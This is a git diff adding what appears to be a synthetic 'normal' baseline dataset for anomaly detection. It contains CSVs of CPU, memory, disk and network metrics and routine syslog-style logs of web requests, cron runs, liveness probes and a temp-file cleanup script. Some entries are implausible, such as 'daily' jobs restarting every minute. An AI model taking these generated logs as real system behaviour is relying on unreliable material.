+2025-08-10T10:07:00Z,13.38,40.83,28.74,1.0,0.6 +2025-08-10T10:07:05Z,14.0,42.48,23.76,0.8,0.9 +2025-08-10T10:07:10Z,16.83,40.04,38.16,1.0,0.85 +2025-08-10T10:07:15Z,15.66,44.36,22.85,0.94,0.66 +2025-08-10T10:07:20Z,13.94,39.21,27.8,1.06,0.72 +2025-08-10T10:07:25Z,16.03,48.16,30.65,0.83,0.64 diff --git a/norm_dataset/scenario_4/norm_4_39.log b/norm_dataset/scenario_4/norm_4_39.log new file mode 100644 index 0000000000000000000000000000000000000000..586700222a0a21d09e22db2c130fa6519a3b9b82 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_39.log @@ -0,0 +1,23 @@ +Aug 10 10:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 10 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 10 10:00:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 10 10:00:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 10 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 10 10:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 10 10:01:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 10 10:01:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 10 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 10 10:02:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 10 10:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 10 10:02:30 CRON[4321]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 10 10:02:30 systemd[1]: Starting Daily apt download activities... +Aug 10 10:02:30 cleanup_script[4322]: INFO: Starting cleanup_tmp_files.sh. +Aug 10 10:02:40 cleanup_script[4322]: INFO: Scanning for files older than 30 days in /tmp. +Aug 10 10:03:45 cleanup_script[4322]: INFO: Found and deleted 1500 expired session files. +Aug 10 10:04:55 cleanup_script[4322]: INFO: Filesystem cleanup finished successfully. +Aug 10 10:05:00 web-app[1234]: GET /api/v1/data status=200 OK +Aug 10 10:05:25 web-app[1234]: GET /api/v1/data status=200 OK +Aug 10 10:05:50 web-app[1234]: GET /api/v1/data status=200 OK +Aug 10 10:06:15 web-app[1234]: GET /api/v1/data status=200 OK +Aug 10 10:06:40 web-app[1234]: GET /api/v1/data status=200 OK +Aug 10 10:07:05 web-app[1234]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_4.csv b/norm_dataset/scenario_4/norm_4_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..e0713b085cdb1c40a992ad9451485f068af05348 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T10:00:00Z,15.81,41.56,23.91,1.08,1.13 +2025-08-18T10:00:05Z,11.9,39.56,32.0,1.31,1.13 +2025-08-18T10:00:10Z,14.15,39.41,21.77,1.29,1.1 +2025-08-18T10:00:15Z,17.52,39.23,36.92,1.17,1.01 +2025-08-18T10:00:20Z,11.14,41.53,22.16,1.24,0.82 +2025-08-18T10:00:25Z,14.45,39.9,20.31,1.34,0.9 +2025-08-18T10:00:30Z,18.32,41.22,27.64,1.23,0.99 +2025-08-18T10:00:35Z,18.56,38.85,32.09,1.24,0.93 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+2025-08-18T10:07:15Z,15.31,40.07,34.94,1.17,0.93 +2025-08-18T10:07:20Z,17.54,38.69,36.85,1.2,0.83 +2025-08-18T10:07:25Z,19.14,41.85,34.1,1.29,1.12 diff --git a/norm_dataset/scenario_4/norm_4_4.log b/norm_dataset/scenario_4/norm_4_4.log new file mode 100644 index 0000000000000000000000000000000000000000..4764a8c1aaf9913710f504952b02c517ade6c0c8 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_4.log @@ -0,0 +1,17 @@ +Aug 18 10:00:42 sshd[4567]: Accepted password for user from 192.168.1.10 port 22 +Aug 18 10:00:54 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 18 10:00:59 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:02:22 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 18 10:02:30 CRON[6647]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 18 10:02:32 cleanup_script[7708]: INFO: Starting cleanup_tmp_files.sh. +Aug 18 10:02:49 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 18 10:03:44 web-app[1234]: GET /api/v1/health status=200 OK +Aug 18 10:03:51 web-app[1234]: GET /api/v1/health status=200 OK +Aug 18 10:04:43 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 18 10:04:55 cleanup_script[7708]: INFO: Filesystem cleanup finished successfully. +Aug 18 10:04:55 cleanup_script[7708]: INFO: Found and deleted 1316 expired session files. +Aug 18 10:05:13 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 18 10:06:13 sshd[4567]: Accepted password for user from 192.168.1.10 port 22 +Aug 18 10:06:23 sshd[4567]: Accepted password for user from 192.168.1.10 port 22 +Aug 18 10:06:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 18 10:07:15 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_40.csv b/norm_dataset/scenario_4/norm_4_40.csv new file mode 100644 index 0000000000000000000000000000000000000000..d24b27c3a207051a925cf4dd55dd9893bf18c73e --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_40.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T19:40:00Z,16.49,40.19,28.13,1.29,0.9 +2025-08-24T19:40:05Z,14.59,41.94,20.71,0.71,1.11 +2025-08-24T19:40:10Z,16.94,38.6,19.65,1.23,0.78 +2025-08-24T19:40:15Z,19.57,39.34,27.41,1.0,0.88 +2025-08-24T19:40:20Z,14.3,39.22,23.88,0.8,0.94 +2025-08-24T19:40:25Z,14.3,37.07,28.57,1.09,0.72 +2025-08-24T19:40:30Z,19.74,40.59,27.37,1.04,0.84 +2025-08-24T19:40:35Z,17.3,40.52,24.64,0.88,0.8 +2025-08-24T19:40:40Z,13.59,40.01,20.77,1.01,0.82 +2025-08-24T19:40:45Z,16.63,39.53,17.43,0.92,0.65 +2025-08-24T19:40:50Z,13.61,37.17,22.77,1.02,0.8 +2025-08-24T19:40:55Z,13.6,39.16,29.28,1.13,0.9 +2025-08-24T19:41:00Z,15.73,39.31,26.07,1.32,1.09 +2025-08-24T19:41:05Z,9.26,38.4,18.77,0.75,0.99 +2025-08-24T19:41:10Z,9.83,39.68,25.87,1.43,1.23 +2025-08-24T19:41:15Z,13.31,40.81,26.93,0.61,0.65 +2025-08-24T19:41:20Z,11.96,43.77,20.58,0.97,0.97 +2025-08-24T19:41:25Z,15.94,40.35,25.77,1.12,0.84 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systemd[1]: Starting daily network connection upkeep... +Aug 24 19:40:20 web-app[1357]: GET /api/v1/status status=200 OK +Aug 24 19:40:30 systemd[1]: Starting daily network connection upkeep... +Aug 24 19:40:40 web-app[1357]: GET /api/v1/status status=200 OK +Aug 24 19:41:00 web-app[1357]: GET /api/v1/status status=200 OK +Aug 24 19:41:00 systemd[1]: Starting daily network connection upkeep... +Aug 24 19:41:20 web-app[1357]: GET /api/v1/status status=200 OK +Aug 24 19:41:30 systemd[1]: Starting daily network connection upkeep... +Aug 24 19:41:40 web-app[1357]: GET /api/v1/status status=200 OK +Aug 24 19:42:00 web-app[1357]: GET /api/v1/status status=200 OK +Aug 24 19:42:00 systemd[1]: Starting daily network connection upkeep... +Aug 24 19:42:20 web-app[1357]: GET /api/v1/status status=200 OK +Aug 24 19:42:30 CRON[6543]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 24 19:42:31 run-parts[6544]: starting cleanup_tmp_files.sh +Aug 24 19:42:32 cleanup_tmp_files.sh[6545]: INFO: Starting cleanup of /tmp and /var/log directories. +Aug 24 19:44:55 cleanup_tmp_files.sh[6545]: INFO: Found and deleted 1500 expired session files. +Aug 24 19:44:56 cleanup_tmp_files.sh[6545]: INFO: Cleanup finished successfully. +Aug 24 19:44:57 run-parts[6544]: finished cleanup_tmp_files.sh +Aug 24 19:45:05 web-app[1357]: GET /api/v1/user/45 status=200 OK +Aug 24 19:45:05 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 19:45:25 web-app[1357]: GET /api/v1/user/45 status=200 OK +Aug 24 19:45:35 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 19:45:45 web-app[1357]: GET /api/v1/user/45 status=200 OK +Aug 24 19:46:05 web-app[1357]: GET /api/v1/user/45 status=200 OK +Aug 24 19:46:05 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 19:46:25 web-app[1357]: GET /api/v1/user/45 status=200 OK +Aug 24 19:46:35 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 19:46:45 web-app[1357]: GET /api/v1/user/45 status=200 OK +Aug 24 19:47:05 web-app[1357]: GET /api/v1/user/45 status=200 OK +Aug 24 19:47:05 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 19:47:25 web-app[1357]: GET /api/v1/user/45 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_41.csv b/norm_dataset/scenario_4/norm_4_41.csv new file mode 100644 index 0000000000000000000000000000000000000000..2f498c1762123a06743b285d712a904a483793ca --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_41.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,16.747296243116303,43.81918933988004,24.41506739127672,1.2996948672776927,0.814313175167473 +2025-08-24T10:00:05Z,11.708271161797281,43.72641060334924,32.518286397574386,1.4488569786761336,0.43061211008141126 +2025-08-24T10:00:10Z,17.02157434417181,45.10408438045516,20.427743269046157,1.3119894240679757,0.7836759552283437 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0000000000000000000000000000000000000000..b54496e4e9c246e3ffc0923abd2e705bb5552e1e --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_41.log @@ -0,0 +1,19 @@ +Aug 24 10:00:00 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 24 10:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 24 10:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:01:50 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 24 10:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:02:30 CRON[5432]: (root) CMD (/usr/local/bin/cleanup_tmp_files.sh) +Aug 24 10:02:30 cleanup_script[5433]: INFO: Starting cleanup_tmp_files.sh. +Aug 24 10:03:20 cleanup_script[5433]: INFO: Scanning /tmp for files older than 7 days. +Aug 24 10:05:00 cleanup_script[5433]: INFO: Filesystem cleanup complete. +Aug 24 10:05:00 cleanup_script[5433]: INFO: Found and deleted 1500 expired session files. +Aug 24 10:05:20 web-app[1234]: GET /api/v1/user/40 status=200 OK +Aug 24 10:06:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 24 10:06:00 web-app[1234]: GET /api/v1/user/40 status=200 OK +Aug 24 10:06:40 web-app[1234]: GET /api/v1/user/40 status=200 OK +Aug 24 10:07:20 web-app[1234]: GET /api/v1/user/40 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_42.csv b/norm_dataset/scenario_4/norm_4_42.csv new file mode 100644 index 0000000000000000000000000000000000000000..1724035cb179b4a541fb5338ededc5ded8ffb6e5 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_42.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,17.72,44.74,25.32,0.98,0.56 +2025-07-03T10:00:05Z,16.04,44.27,20.89,1.29,0.72 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+2025-07-03T10:06:45Z,13.03,40.58,22.87,1.44,0.64 +2025-07-03T10:06:50Z,11.41,44.63,21.04,0.98,1.34 +2025-07-03T10:06:55Z,11.48,35.83,35.98,1.24,0.7 +2025-07-03T10:07:00Z,19.28,35.05,25.5,0.63,1.24 +2025-07-03T10:07:05Z,16.27,38.68,32.26,1.48,0.67 +2025-07-03T10:07:10Z,19.26,42.42,27.82,0.63,1.39 +2025-07-03T10:07:15Z,18.52,36.95,20.81,1.0,1.35 +2025-07-03T10:07:20Z,15.39,36.43,22.36,1.11,0.73 +2025-07-03T10:07:25Z,14.97,43.8,28.45,0.66,0.61 diff --git a/norm_dataset/scenario_4/norm_4_42.log b/norm_dataset/scenario_4/norm_4_42.log new file mode 100644 index 0000000000000000000000000000000000000000..775d3fdd891c897f3f8ca79799ba9e553142ea8a --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_42.log @@ -0,0 +1,8 @@ +Jul 03 10:00:00 web-app[1454]: GET /api/v1/health status=200 OK +Jul 03 10:00:45 systemd[1]: Starting daily network connection check... +Jul 03 10:02:33 CRON[8433]: (root) CMD (run-parts /etc/cron.daily) +Jul 03 10:02:34 daily-cleanup[9408]: INFO: Starting cleanup_tmp_files.sh. +Jul 03 10:02:58 web-app[1454]: GET /api/v1/health status=200 OK +Jul 03 10:03:16 systemd[1]: Starting daily network connection check... +Jul 03 10:04:50 daily-cleanup[9408]: INFO: Found and deleted 1282 expired session files. +Jul 03 10:04:58 systemd[1]: Starting daily network connection check... diff --git a/norm_dataset/scenario_4/norm_4_43.csv b/norm_dataset/scenario_4/norm_4_43.csv new file mode 100644 index 0000000000000000000000000000000000000000..2af6defda027b3117053f6ec8ab6ba85de243a2a --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_43.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,11.095382945729265,41.307413682466034,28.017559741282543,1.068013680860575,0.5404405179962901 +2025-08-24T10:00:05Z,15.91430432956856,40.05808932822068,30.33287549748766,0.9813009442286369,0.8842962355841644 +2025-08-24T10:00:10Z,16.0026345544097,42.42334691316288,30.28991330101011,0.7639051913872825,0.9377400222713264 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+2025-08-24T10:06:55Z,12.041776657285371,38.35502920406686,24.3034977173144,1.2506692516983529,0.7445198757220671 +2025-08-24T10:07:00Z,16.227710749046235,42.42847902706282,20.885653345802744,1.2187091748468335,1.0613315524776226 +2025-08-24T10:07:05Z,21.17256644010729,40.080743196359926,24.587901671846097,0.7358645651626152,0.7524078034483126 +2025-08-24T10:07:10Z,13.101085712038996,40.48460856702826,35.36957178605631,0.9004963131119323,0.5013410819723043 +2025-08-24T10:07:15Z,12.384411859487543,42.34561188268582,32.418296836297614,1.325455459255513,0.931421224753723 +2025-08-24T10:07:20Z,12.446027561332668,39.94834355354129,32.28201269329794,1.1280925233460022,1.130499313898722 +2025-08-24T10:07:25Z,14.985112056674426,39.568173378912796,31.557394620410964,0.540225322905949,1.292368367461554 diff --git a/norm_dataset/scenario_4/norm_4_43.log b/norm_dataset/scenario_4/norm_4_43.log new file mode 100644 index 0000000000000000000000000000000000000000..5a021edc945eeda0a7b88d4ff11ca0ba4205dd47 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_43.log @@ -0,0 +1,18 @@ +Aug 24 10:00:00 web-app[1280]: GET /api/v1/health status=200 OK +Aug 24 10:00:00 systemd[1]: Starting daily user cleanup session... +Aug 24 10:00:30 web-app[1280]: GET /api/v1/health status=200 OK +Aug 24 10:00:50 systemd[1]: Starting daily user cleanup session... +Aug 24 10:01:00 web-app[1280]: GET /api/v1/health status=200 OK +Aug 24 10:01:30 web-app[1280]: GET /api/v1/health status=200 OK +Aug 24 10:01:40 systemd[1]: Starting daily user cleanup session... +Aug 24 10:02:00 CRON[10483]: (root) CMD (/usr/local/bin/cleanup_tmp_files.sh) +Aug 24 10:02:05 cleanup_script[10484]: INFO: Starting cleanup_tmp_files.sh. +Aug 24 10:03:00 web-app[1280]: GET /api/v1/user/99 status=200 OK +Aug 24 10:04:00 web-app[1280]: GET /api/v1/user/99 status=200 OK +Aug 24 10:04:30 cleanup_script[10484]: INFO: Found and deleted 1500 expired session files. +Aug 24 10:04:55 cleanup_script[10484]: INFO: Filesystem cleanup finished successfully. +Aug 24 10:05:05 web-app[1280]: GET /api/v1/metrics status=200 OK +Aug 24 10:05:35 web-app[1280]: GET /api/v1/metrics status=200 OK +Aug 24 10:06:05 web-app[1280]: GET /api/v1/metrics status=200 OK +Aug 24 10:06:35 web-app[1280]: GET /api/v1/metrics status=200 OK +Aug 24 10:07:05 web-app[1280]: GET /api/v1/metrics status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_44.csv b/norm_dataset/scenario_4/norm_4_44.csv new file mode 100644 index 0000000000000000000000000000000000000000..8431e2d1e6a5a7c0497638396b336a1f9346fa92 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_44.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T20:00:00Z,5.41,37.75,33.93,1.0,1.0 +2025-08-24T20:00:05Z,18.35,40.47,24.15,0.53,1.49 +2025-08-24T20:00:10Z,7.55,45.08,15.65,1.43,0.62 +2025-08-24T20:00:15Z,17.13,42.56,40.46,1.12,1.18 +2025-08-24T20:00:20Z,11.98,42.81,41.28,1.24,0.69 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+2025-08-24T20:06:55Z,3.06,43.12,28.01,0.82,0.79 +2025-08-24T20:07:00Z,8.72,40.53,28.57,0.78,1.07 +2025-08-24T20:07:05Z,10.6,40.52,33.65,1.49,1.44 +2025-08-24T20:07:10Z,7.27,40.92,18.92,1.13,0.56 +2025-08-24T20:07:15Z,1.36,35.92,42.17,0.9,1.27 +2025-08-24T20:07:20Z,10.42,44.99,31.12,0.89,0.96 +2025-08-24T20:07:25Z,4.82,43.08,31.42,1.14,1.17 diff --git a/norm_dataset/scenario_4/norm_4_44.log b/norm_dataset/scenario_4/norm_4_44.log new file mode 100644 index 0000000000000000000000000000000000000000..8c4f0738f2b75cddf8d445b48955cc494a22ebcc --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_44.log @@ -0,0 +1,27 @@ +Aug 24 20:00:00 systemd[1]: Starting daily clean up activities... +Aug 24 20:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:00:50 systemd[1]: Starting daily clean up activities... +Aug 24 20:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:01:40 systemd[1]: Starting daily clean up activities... +Aug 24 20:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:02:05 CRON[4321]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 24 20:02:05 root[4322]: INFO: Starting cleanup_tmp_files.sh. +Aug 24 20:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:02:30 systemd[1]: Starting daily clean up activities... +Aug 24 20:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:03:20 systemd[1]: Starting daily clean up activities... +Aug 24 20:03:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:03:45 root[4322]: INFO: Scanning /tmp for expired session files older than 7 days. +Aug 24 20:04:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:04:10 systemd[1]: Starting daily clean up activities... +Aug 24 20:04:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:05:00 systemd[1]: Starting daily clean up activities... +Aug 24 20:05:10 root[4322]: INFO: Found and deleted 1500 expired session files. +Aug 24 20:05:10 root[4322]: INFO: Filesystem cleanup finished. +Aug 24 20:05:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:05:50 systemd[1]: Starting daily clean up activities... +Aug 24 20:05:50 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 20:06:40 systemd[1]: Starting daily clean up activities... +Aug 24 20:07:00 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_45.csv b/norm_dataset/scenario_4/norm_4_45.csv new file mode 100644 index 0000000000000000000000000000000000000000..a823e889f60790e9e494f9954fa09f45de5380d1 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_45.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-24T10:00:00Z,17.62,38.82,6.65,1.1,0.91 +2025-08-24T10:00:05Z,10.06,38.73,11.51,1.25,0.53 +2025-08-24T10:00:10Z,18.03,40.1,4.26,1.11,0.88 +2025-08-24T10:00:15Z,15.67,37.47,9.21,1.12,1.18 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+2025-08-24T10:07:00Z,19.47,40.59,10.44,1.13,0.83 +2025-08-24T10:07:05Z,8.91,39.64,13.32,1.16,0.75 +2025-08-24T10:07:10Z,10.45,40.34,7.28,0.87,0.88 +2025-08-24T10:07:15Z,19.46,43.55,13.15,0.78,0.8 +2025-08-24T10:07:20Z,15.34,43.48,11.86,1.04,1.0 +2025-08-24T10:07:25Z,10.78,40.3,9.92,1.2,0.91 diff --git a/norm_dataset/scenario_4/norm_4_45.log b/norm_dataset/scenario_4/norm_4_45.log new file mode 100644 index 0000000000000000000000000000000000000000..990021b1d0dbcba622ae2546f7bf46b4c63086a5 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_45.log @@ -0,0 +1,18 @@ +Aug 24 10:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 24 10:01:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:02:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 24 10:02:30 CRON[4815]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 24 10:02:31 cleanup_script[4816]: INFO: Starting cleanup_tmp_files.sh. +Aug 24 10:03:10 cleanup_script[4816]: INFO: Filesystem cleanup finished. +Aug 24 10:03:10 cleanup_script[4816]: INFO: Found and deleted 2098 expired session files. +Aug 24 10:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:04:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:05:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:06:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 24 10:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 24 10:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_5.csv b/norm_dataset/scenario_4/norm_4_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..1a8c66a4ceeb042646af0ab39b59c5361cf1096f --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,11.058344696873913,41.613135810770245,38.253856923182724,1.112706507909563,1.1038723571453046 +2025-07-02T12:00:05Z,16.048752639596575,39.20604757445509,30.106942469751377,1.0539972787301435,1.0775557111739436 +2025-07-02T12:00:10Z,13.715232751745276,42.22982814816462,21.462618349242703,1.3761788870317977,0.7086838202215278 +2025-07-02T12:00:15Z,16.368602913605436,39.60546863624474,27.054465277782505,1.0009762372496802,0.5865797758398619 +2025-07-02T12:00:20Z,10.115897029883318,42.762430609440706,31.64152794493082,1.12099064240476,0.6809678617891542 +2025-07-02T12:00:25Z,19.46243627293019,42.30520451227305,26.384082733685034,0.8100092019941579,0.943477327888546 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+2025-07-02T12:07:10Z,18.013057685187192,43.63650441817898,40.01102375028619,1.2598169031918145,0.6983579179942525 +2025-07-02T12:07:15Z,20.919728632636957,41.665855658958826,24.114868164762296,1.4363850673940626,0.825855704598992 +2025-07-02T12:07:20Z,17.53809576286486,41.59041861525284,27.17335514411292,1.2446806005971158,0.7175898951984128 +2025-07-02T12:07:25Z,14.682576715922638,39.20792837069717,34.8986274374281,1.117893294495553,1.2445853828754063 diff --git a/norm_dataset/scenario_4/norm_4_5.log b/norm_dataset/scenario_4/norm_4_5.log new file mode 100644 index 0000000000000000000000000000000000000000..c06a69392ad76f45a1cbcf225a6c855111d13db5 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_5.log @@ -0,0 +1,11 @@ +Jul 02 12:00:25 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily network connection check... +Jul 02 12:01:15 web-app[1234]: GET /api/v1/user/45 status=200 OK +Jul 02 12:01:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:00 CRON[6123]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:01 cleanup_tmp_files.sh[6124]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:03:30 cleanup_tmp_files.sh[6124]: INFO: Found and deleted 1500 expired session files. +Jul 02 12:04:50 cleanup_tmp_files.sh[6124]: INFO: Filesystem cleanup complete. +Jul 02 12:05:25 web-app[1234]: GET /api/v1/user/88 status=200 OK +Jul 02 12:06:15 systemd[1]: Daily network check finished. +Jul 02 12:07:05 web-app[1234]: GET /api/v1/user/88 status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_6.csv b/norm_dataset/scenario_4/norm_4_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..a3d4ae51a63a758b1985de85ce15aa42a09349af --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-04T09:00:00Z,15.81,44.51,25.52,1.09,1.17 +2025-07-04T09:00:05Z,11.96,37.71,31.59,1.32,1.08 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+2025-07-04T09:06:30Z,15.89,44.72,26.45,1.5,0.91 +2025-07-04T09:06:35Z,12.62,38.5,33.23,0.96,0.89 +2025-07-04T09:06:40Z,12.15,36.55,31.86,0.92,1.15 +2025-07-04T09:06:45Z,12.38,35.15,25.13,0.92,1.21 +2025-07-04T09:06:50Z,18.58,35.16,33.73,0.8,0.8 +2025-07-04T09:06:55Z,13.88,38.98,33.17,1.27,0.94 +2025-07-04T09:07:00Z,16.32,40.26,30.7,1.1,0.75 +2025-07-04T09:07:05Z,19.75,36.56,32.81,1.06,1.25 +2025-07-04T09:07:10Z,18.02,41.15,20.1,1.18,1.12 +2025-07-04T09:07:15Z,14.5,42.13,22.24,1.32,1.28 +2025-07-04T09:07:20Z,19.62,35.81,30.15,0.92,1.05 +2025-07-04T09:07:25Z,18.56,44.67,34.59,0.84,1.18 diff --git a/norm_dataset/scenario_4/norm_4_6.log b/norm_dataset/scenario_4/norm_4_6.log new file mode 100644 index 0000000000000000000000000000000000000000..fb2702372d4bbcc4900abe1efa757770649c1d60 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_6.log @@ -0,0 +1,22 @@ +Jul 04 09:00:00 systemd[1]: Starting Daily apt download activities... +Jul 04 09:01:00 systemd[1]: Starting Daily apt download activities... +Jul 04 09:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 04 09:02:00 systemd[1]: Starting Daily apt download activities... +Jul 04 09:02:15 sshd[3398]: Accepted publickey for user admin from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 04 09:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 04 09:03:00 CRON[4815]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 04 09:03:00 systemd[1]: Starting Daily Cleanup of Temporary Directories... +Jul 04 09:03:00 cleanup_script[4817]: INFO: Starting cleanup_tmp_files.sh. +Jul 04 09:03:30 cleanup_script[4817]: INFO: Found and deleted 1714 expired session files. +Jul 04 09:03:30 systemd[1]: Finished Daily Cleanup of Temporary Directories. +Jul 04 09:03:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 04 09:04:00 systemd[1]: Starting Daily apt download activities... +Jul 04 09:04:20 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 04 09:04:30 sshd[3398]: Accepted publickey for user admin from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 04 09:05:00 systemd[1]: Starting Daily apt download activities... +Jul 04 09:05:10 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 04 09:06:00 systemd[1]: Starting Daily apt download activities... +Jul 04 09:06:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 04 09:06:45 sshd[3398]: Accepted publickey for user admin from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 04 09:06:50 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 04 09:07:00 systemd[1]: Starting Daily apt download activities... diff --git a/norm_dataset/scenario_4/norm_4_7.csv b/norm_dataset/scenario_4/norm_4_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..ac8ca2e2f4b6a7d34e152dced44152f6e595ae1c --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 